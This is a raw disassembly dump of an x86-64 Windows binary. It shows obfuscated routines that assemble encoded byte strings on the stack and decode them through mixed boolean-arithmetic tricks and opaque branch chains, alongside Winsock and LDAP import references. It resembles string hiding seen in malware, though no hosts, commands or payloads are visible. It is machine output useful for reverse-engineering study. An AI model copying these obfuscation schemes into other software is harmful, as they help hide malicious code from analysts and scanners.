mov byte [rbp + r9 + 0xa00], r8b
jmp 0x1401fb91e
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fb8fc
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401fb8a0
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xa00], cl
add r10, r15
jmp 0x1401fb8fc
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
sub r9, r15
jmp 0x1401fb959
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1401fb959
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0xa00]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401fae81
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fae7e
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401fae6e
lea rdx, [rbp + 0x16f1130]
jmp 0x1401fb9c3
lea rdx, [rbp + 0x68a494]
jmp 0x1401fb9c3
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0x138]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2740]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401fb9f8
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2740]
call fcn.140174580
nop
lea rcx, [rbp + 0x2740]
call fcn.14024e690
nop
lea rcx, [rbp + 0x2740]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x700], 0xcb
mov byte [rbp + 0x701], Ordinal_143
mov byte [rbp + 0x702], 0xac
mov byte [rbp + 0x703], 0xf3
mov byte [rbp + 0x704], Ordinal_79
mov byte [rbp + 0x705], 0xf1
mov byte [rbp + 0x706], WSASetLastError
mov byte [rbp + 0x707], 0xf7
mov byte [rbp + 0x708], 0x55
mov byte [rbp + 0x709], 0xf5
mov byte [rbp + 0x70a], 0xa2
mov byte [rbp + 0x70b], 0xfb
mov byte [rbp + 0x70c], 0x66
mov byte [rbp + 0x70d], 0xf9
mov byte [rbp + 0x70e], 0x55
mov byte [rbp + 0x70f], 0xff
mov byte [rbp + 0x710], 0x59
mov byte [rbp + 0x711], 0xfd
mov byte [rbp + 0x712], WSACleanup
mov byte [rbp + 0x713], 0xe3
mov byte [rbp + 0x714], 0x47
mov byte [rbp + 0x715], 0xe1
mov byte [rbp + 0x716], Ordinal_79
mov byte [rbp + 0x717], 0xe7
mov byte [rbp + 0x718], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x719], 0xe5
mov byte [rbp + 0x71a], 0x42
mov byte [rbp + 0x71b], 0xeb
mov byte [rbp + 0x71c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x71d], 0xe9
mov byte [rbp + 0x71e], r14b
mov byte [rbp + 0x71f], 0xef
mov byte [rbp + 0x720], 0xb8
mov byte [rbp + 0x721], 0xed
mov byte [rbp + 0x722], 0x87
mov byte [rbp + 0x723], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x724], 0x44
mov byte [rbp + 0x725], Ordinal_211
mov byte [rbp + 0x726], r14b
mov byte [rbp + 0x727], Ordinal_217
mov byte [rbp + 0x728], 0x81
mov byte [rbp + 0x729], Ordinal_217
mov byte [rbp + 0x72a], 0x7e
mov byte [rbp + 0x72b], 0xdb
mov byte [rbp + 0x72c], 0x7c
mov byte [rbp + 0x72d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x72e], WSACleanup
mov byte [rbp + 0x72f], 0xdf
mov byte [rbp + 0x730], Ordinal_143
mov byte [rbp + 0x731], 0xdd
mov byte [rbp + 0x732], 0x64
mov byte [rbp + 0x733], Ordinal_200
mov byte [rbp + 0x734], WSAGetLastError
mov byte [rbp + 0x735], 0xc1
mov byte [rbp + 0x736], 0x54
mov byte [rbp + 0x737], Ordinal_200
mov byte [rbp + 0x738], Ordinal_200
mov byte [rbp + 0x739], Ordinal_200
xor eax, eax
mov dword [rbp + 0x73a], eax
mov word [rbp + 0x73e], ax
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, r14
jae 0x1401fc7c5
movzx r8d, byte [rbp + r9 + 0x700]
mov r11, r8
cmp rdi, r9
ja 0x1401fc7bc
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401fbc37
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
sub bl, 0x32
jmp 0x1401fbc71
je 0x1401fc72f
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401fc6d9
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fc683
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401fc65a
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401fc610
cmp r10, r9
ja 0x1401fc7b3
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x1401fbca2
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x1401fbcd6
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401fc5f1
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401fc5cf
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401fc5a0
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fc582
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x1401fc261
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401fc23f
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1401fc22b
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401fc208
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401fc1f4
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401fc1d2
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401fc1b0
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x1401fc19c
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401fc17a
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401fc154
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401fbce3
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401fc78d
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401fc767
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x1401fbee0
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401fbeba
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x1401fbe98
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1401fc0bc
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x1401fc0ab
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x1401fc05d
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401fc02f
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401fbce3
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401fc009
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1401fbfe7
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401fbfc5
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401fbf9f
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401fbf7d
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401fbf5c
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x1401fbf39
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401fbf16
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401fbf02
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401fbce3
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x1401fbce3
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x26
jmp 0x1401fbcd6
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fbc71
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x1401fbc00
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x1401fc61f
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x1401fc655
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401fc67b
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401fc520
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x1401fc54f
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fc5be
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x1401fc6a3
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1401fc6fd
movabs rdx, 0x8de32188cc04a8d0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fc750
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov byte [rbp + r9 + 0x700], bl
jmp 0x1401fc75f
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
cmp r10, 0x1000
jb 0x1401fc050
movabs rcx, 0xf00e4fc4381099b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x1401fc631
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x1401fc107
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 6
je 0x1401fc554
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x1401fc35e
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, r14
jae 0x1401fc4ff
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x1401fc42c
movabs rcx, 0xe41f9575967bc6dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x1401fc07a
movabs rdx, 0x64c66288f9f66384
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fc750
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x1401fc6fd
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401fc591
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1401fc5be
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x1401fc54f
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_45
jmp 0x1401fbf6b
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x1401fc67b
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401fc347
movabs rcx, 0xc1a100b078b287a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x1401fc631
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x1401fc28c
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x1401fc0dd
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fc2b7
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x1401fc750
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401fc2d1
movabs rdx, 0x350b794e73a31824
mov ecx, esi
jmp 0x1401fc591
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fc300
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fc54f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401fc32b
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x1401fc525
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401fc0dd
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fc655
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fc389
movabs rcx, 0xb26331447cfb31c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x1401fc631
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fc3b4
movabs rcx, 0xcf9135f5ad74a436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x1401fc525
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401fc3d1
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x1401fc2e9
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401fc3fd
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x1401fc5be
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401fc119
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6e
jmp 0x1401fc750
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401fc458
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1401fc750
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401fc483
movabs rcx, 0x14d9a26c6f53950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x1401fc6a3
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401fc4b2
movabs rdx, 0x6a16f29ce7463048
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401fc54f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401fc4cf
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401fc669
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401fc07a
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x1401fc655
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x700]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0x700], cl
add rdi, r10
jmp 0x1401fc5be
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x700]
add bl, dl
add bl, r8b
jmp 0x1401fc6a3
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401fc578
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x72
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1401fc75f
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
jmp 0x1401fc67b
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7e
jmp 0x1401fc631
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x700], cl
add r10, r15
jmp 0x1401fc67b
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
sub r9, r15
jmp 0x1401fc75f
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x700], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x1401fc6fd
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x700], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1401fc750
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x700]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401fbbee
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fbbeb
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401fbbdb
lea rdx, [rbp + 0x15982a8]
jmp 0x1401fc7cc
lea rdx, [rbp + 0x16dc066]
jmp 0x1401fc7cc
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0x158]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2850]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401fc801
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2850]
call fcn.140174580
nop
lea rcx, [rbp + 0x2850]
call fcn.14024e690
nop
lea rcx, [rbp + 0x2850]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0xe50], 0xe3
mov byte [rbp + 0xe51], 0xad
mov byte [rbp + 0xe52], 0xec
mov byte [rbp + 0xe53], 0xab
mov byte [rbp + 0xe54], ntohl
mov byte [rbp + 0xe55], 0xa9
mov byte [rbp + 0xe56], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xe57], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xe58], 0x3d
mov byte [rbp + 0xe59], __WSAFDIsSet
mov byte [rbp + 0xe5a], r13b
mov byte [rbp + 0xe5b], __WSAFDIsSet
mov byte [rbp + 0xe5c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xe5d], __WSAFDIsSet
mov byte [rbp + 0xe5e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xe5f], 0x9f
mov byte [rbp + 0xe60], 7
mov byte [rbp + 0xe61], 0x9d
mov byte [rbp + 0xe62], 5
mov byte [rbp + 0xe63], 0x9b
mov byte [rbp + 0xe64], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xe65], 0x99
mov byte [rbp + 0xe66], Ordinal_45
mov byte [rbp + 0xe67], 0x87
mov byte [rbp + 0xe68], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xe69], 0x85
mov byte [rbp + 0xe6a], Ordinal_217
mov byte [rbp + 0xe6b], 0x83
mov byte [rbp + 0xe6c], 0x3d
mov byte [rbp + 0xe6d], 0x81
mov byte [rbp + 0xe6e], Ordinal_50
mov byte [rbp + 0xe6f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xe70], Ordinal_45
mov byte [rbp + 0xe71], Ordinal_143
mov byte [rbp + 0xe72], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xe73], Ordinal_143
mov byte [rbp + 0xe74], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xe75], Ordinal_143
mov byte [rbp + 0xe76], 0x64
mov byte [rbp + 0xe77], 0xf7
mov byte [rbp + 0xe78], 0x5c
mov byte [rbp + 0xe79], 0xf5
mov byte [rbp + 0xe7a], 0x62
mov byte [rbp + 0xe7b], 0xf3
mov byte [rbp + 0xe7c], 0xaa
mov byte [rbp + 0xe7d], 0xf1
mov byte [rbp + 0xe7e], 0xa2
mov byte [rbp + 0xe7f], 0xff
mov byte [rbp + 0xe80], 0xae
mov byte [rbp + 0xe81], 0xfd
mov byte [rbp + 0xe82], 0x57
mov byte [rbp + 0xe83], 0xfb
mov byte [rbp + 0xe84], 0x60
mov byte [rbp + 0xe85], 0xf9
mov byte [rbp + 0xe86], Ordinal_79
mov byte [rbp + 0xe87], 0xe7
mov byte [rbp + 0xe88], 0xb6
mov byte [rbp + 0xe89], 0xe5
mov byte [rbp + 0xe8a], 0x77
mov byte [rbp + 0xe8b], 0xe3
mov byte [rbp + 0xe8c], 0x7d
mov byte [rbp + 0xe8d], 0xe1
mov byte [rbp + 0xe8e], 0x47
mov byte [rbp + 0xe8f], 0xef
mov byte [rbp + 0xe90], 0xec
mov byte [rbp + 0xe91], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe92], xmm0
mov qword [rbp + 0xea2], rax
mov byte [rbp + 0xeaa], al
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x1401fd5db
movzx r8d, byte [rbp + r9 + 0xe50]
mov r11, r8
cmp rdi, r9
ja 0x1401fd5d2
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401fca83
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x4a
jmp 0x1401fcabd
je 0x1401fd54b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fd4bf
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401fd48a
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401fd441
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401fd419
cmp r10, r9
ja 0x1401fd5c9
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x1401fcae3
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x1401fccca
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401fd3d3
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fd3b4
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401fd391
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1401fd36e
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401fd03f
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401fd01e
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401fd00a
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1401fcfe7
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401fcfc5
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401fcfb1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401fcf8e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401fcf7a
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401fcf59
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1401fcf45
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401fcb24
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x1401fd5a6
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x1401fd580
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401fcd04
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x1401fcce1
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x1401fccbb
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x1401fceeb
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401fce90
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x1401fce44
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401fce21
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1401fcdff
